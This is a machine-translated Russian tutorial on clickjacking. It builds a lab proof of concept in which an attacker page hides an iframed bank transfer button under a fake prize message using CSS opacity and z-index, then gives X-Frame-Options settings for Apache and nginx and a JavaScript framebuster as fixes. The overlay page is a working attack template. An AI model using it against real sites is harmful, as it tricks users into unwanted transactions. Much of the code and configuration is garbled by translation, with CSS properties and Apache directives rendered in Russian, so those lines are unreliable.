Clickjacking - это метод, в котором используются некоторые прозрачные или непрозрачные слои, с помощью которых можно обманом заставить пользователя щелкнуть скрытую кнопку / связать их на веб-странице. Нажатие на этого пользователя будет перенаправлять / перенаправлять на вредоносные ссылки.
Различные виды кликджекинга позволяют хакерам заманивать клиентов в ловушку, заставляя их делать такие действия, как изменение статуса на Facebook или отправка денежных средств на их учетные записи. «Атака восстановления пользовательского интерфейса», «Атака восстановления пользовательского интерфейса» или просто «Восстановление пользовательского интерфейса».

Этот вид атак широко используется при мошенничестве с банками. В этой статье мы проанализируем POC кликджекинга, а также способы устранения этой уязвимости. Чтобы применить этот метод, злоумышленник должен создать, казалось бы, безобидную веб-страницу, которая загружает целевое приложение с помощью iframe (соответственно замаскированного с помощью кода CSS). Как только это будет сделано, злоумышленник может побудить жертву взаимодействовать со своей фиктивной веб-страницей другими способами (например, с помощью социальной инженерии). Как и в случае с другими атаками, общим предварительным условием является аутентификация жертвы на целевом веб-сайте злоумышленника.

Подтверждение концепции:

Для выполнения проверки концепции кликджекинга нам необходимо иметь базовое понимание базового HTML. В этом POC мы создадим 2 HTML-страницы. Первая страница будет содержать сообщение «Щелкните здесь, чтобы выиграть приз». Это может показаться безобидной страницей, которая дает пользователям шанс выиграть приз одним нажатием кнопки. Однако за этой страницей скрывается вредоносная страница, загруженная в iframe, следовательно, при нажатии кнопки (которая, по мнению пользователя, предназначена для выигрыша приза) злоумышленник может ввести пользователя в заблуждение для выполнения таких действий, как перевод средств на вредоносные учетные записи, загрузка вирусы и т. д. Итак, теперь давайте начнем с POC.

Шаг 1: нам требуется 3 компьютера в одной сети для этого POC (это довольно легко сделать на одном компьютере или с помощью виртуальных машин). Настройте веб-сервер Apache на компьютерах A и B для размещения веб-страниц. Пусть компьютер C будет машиной ничего не подозревающего пользователя, который станет жертвой этого POC. Для установки apache используйте следующие команды:

sudo apt-get install apache2

запуск службы sudo apache2

Шаг 2: Теперь давайте создадим страницу транзакции банка, на которой есть кнопка для перевода 10 миллионов долларов со счета жертвы на счет злоумышленника. Разместите эту страницу на компьютере A.

Базовый HTML-код для этой страницы (bank.html):

‹html› ‹form action =” / jack.html ”› Перевести 10 миллионов долларов в банк XYZ ‹input type =” submit ”value =” Yes ”› ‹/form› ‹/html›

Шаг 3: При нажатии этой кнопки «ДА» на странице банка мы отобразим сообщение «Вы были взломаны !!!!!». Эту страницу можно легко закодировать как (jack.html):

‹html›

‹br› ‹br› Вас взломали !!!!!

‹/html›

Эта страница является частью веб-сайта банка и также будет размещена на машине A.

Шаг 4: Теперь мы создадим страницу, чтобы ловить жертв. Сначала загрузим веб-сайт банка в iframe.

‹html›

‹head›

‹/head›

‹body›

‹p› Поздравляем, вы стали одним из счастливых победителей !!! ‹/p›

‹div id =’ clickjack ’›

‹iframe src =” http: // ‹IP-адрес компьютера A› /bank.html ”width =” 326 'height = ”70' frameBorder =” 0 '›‹/iframe›

‹/div›

‹/body›

‹/html›

Эта страница будет выглядеть так, как показано ниже:

Здесь мы загрузили Bank.html на другую страницу Attack.html в iframe и удалили границу iframe, используя параметр frameBorder = ”0 '. Это похоже на часть той же страницы. Теперь с помощью CSS создадим ловушку. Шаг 5. После внедрения CSS страница Attack.html будет выглядеть, как показано ниже:

Здесь мы скрыли истинное предупреждающее сообщение Банка с помощью ложного призового сообщения, но мы оставили кнопку такой, которую должен нажимать пользователь-жертва. Теперь эта веб-страница будет размещена на компьютере B. Последний код этого Attack.html:

‹html›

‹head›

‹/head›

‹style›

#clickjack {

непрозрачность: 0,8;

}

#over {размер шрифта: 30 пикселей; позиция: абсолютная; верх: 45 пикселей; слева: 16 пикселей; z-index: 2}

‹/style›

‹body›

‹p› Поздравляем, вы стали одним из счастливых победителей !!! ‹/p›

‹div id =’ clickjack ’›

‹iframe src =” http: // ‹IP-адрес машины A› /bank.html ”width =” 326 'height = ”70' frameBorder =” 0 '›‹/iframe›

‹div id =” over ”› ‹mark› нажмите здесь, чтобы выиграть приз ‹/blink› ‹/div›

‹/div›

‹/body›

‹/html›

Шаг 6: Теперь пользователь-жертва из своей системы (машина C) перейдет к Attack.html и нажмет кнопку «ДА», чтобы «выиграть приз», однако результат будет:

Этого простого POC достаточно, чтобы объяснить, насколько легко можно попасть в ловушку пользователя в Интернете, и теперь мы обсудим методологии, необходимые для предотвращения атак этого типа.

Исправление:

Теперь вопрос в том, как мы можем исправить кликджекинг на наших веб-страницах?

Есть несколько способов предотвратить кликджекинг, но наиболее известный подход против кликджекинга - это разрешить тип «взлома фреймов», который не дает другим страницам веб-сайта создавать фреймы для веб-страницы, которую вы хотите защитить.

Итак, мы обсудим два метода реализации взлома фреймов.

X-Frame-Опции

Скрипт разбиения фреймов Javascript (Framebuster)

Параметры X-Frame

Заголовок HTTP-ответа X-Frame-Options может использоваться, чтобы указать, следует ли разрешить браузеру отображать страницу в ‹frame›, ‹iframe› или ‹object›. Сайты могут использовать это, чтобы избежать атак с использованием кликджекинга, гарантируя, что их контент не встроен в другие сайты.

Дополнительная безопасность предоставляется только в том случае, если пользователь, обращающийся к документу, использует браузер, поддерживающий X-Frame-Options.

Настройка Apache

Чтобы настроить Apache для отправки заголовка X-Frame-Options для всех страниц, добавьте это в конфигурацию вашего сайта:

Заголовок всегда устанавливает X-Frame-Options SAMEORIGIN

Чтобы настроить Apache для установки запрета X-Frame-Options, добавьте это в конфигурацию вашего сайта:

Набор заголовков X-Frame-Options DENY

Чтобы настроить Apache для установки X-Frame-Options в ALLOW-FROM определенного хоста, добавьте это в конфигурацию вашего сайта:

Установить заголовок X-Frame-Options «ALLOW-FROM https://example.com/»

Настройка nginx

Чтобы настроить nginx для отправки заголовка X-Frame-Options, добавьте его в конфигурацию http, сервера или местоположения:

add_header X-Frame-Options SAMEORIGI N; Скрипт разрыва фрейма Javascript (Framebuster)

Удаление кадра может быть достигнуто с помощью простой техники JavaScript.

Например:

‹тип сценария =” текст / javascript ”›

if (top! == self) top.location.replace (self.location.href);

‹/script›